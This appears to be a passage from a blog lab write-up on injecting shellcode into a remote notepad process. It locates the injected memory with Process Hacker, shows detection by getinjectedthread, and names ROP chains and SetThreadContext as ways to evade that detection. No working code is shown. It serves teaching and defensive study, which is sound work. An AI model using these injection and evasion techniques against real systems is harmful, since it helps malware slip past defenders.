In our notepad process, we will get a peakaboo message box, which is what our shellcode does when ran.
We have successfully injected shellcode into a remote process.
Now, I forgot to print out the address of the allocated memory, but we can easily identify it by looking at RWX sections in our code.
Lets take a look at process hacker and try to find our allocated memory with our shellcode in the notepad process.
As we can see, at address 0x22aa5ce000 is the memory address that stores our shellcode. We know this is our shellcode because of the peakaboo bytes at the end.
We can also see the running threads of notepad in process hacker. We can see our remote thread that we called which is represented by "RtlUserThreadStart":
A potential detection technique is to look at what addresses your threads point to, if they point to this weird heap allocated block of memory, chances are that these are malicious and you can then scan that memory for any shellcode signatures(or just flag it).
We can enumerate all threads, and find all the threads that don't point back into legit text sections, and raise an exception if they don't. This is what getinjectethread does. Let's try running that out and see if our malware gets detected:
Oh no(or oh yeah)! our Malware has been detected.
But as attackers, there are 2 things we can do to make our thread look legitimate and not be flagged by getinjectedthread.
ROP chains
SetThreadContext
I won't go into much detail here because this was just supposed to be a simple lab(ish), but there is a wonderful blog by XPNsec which goes into more detail into getinjectedthread and evading it:
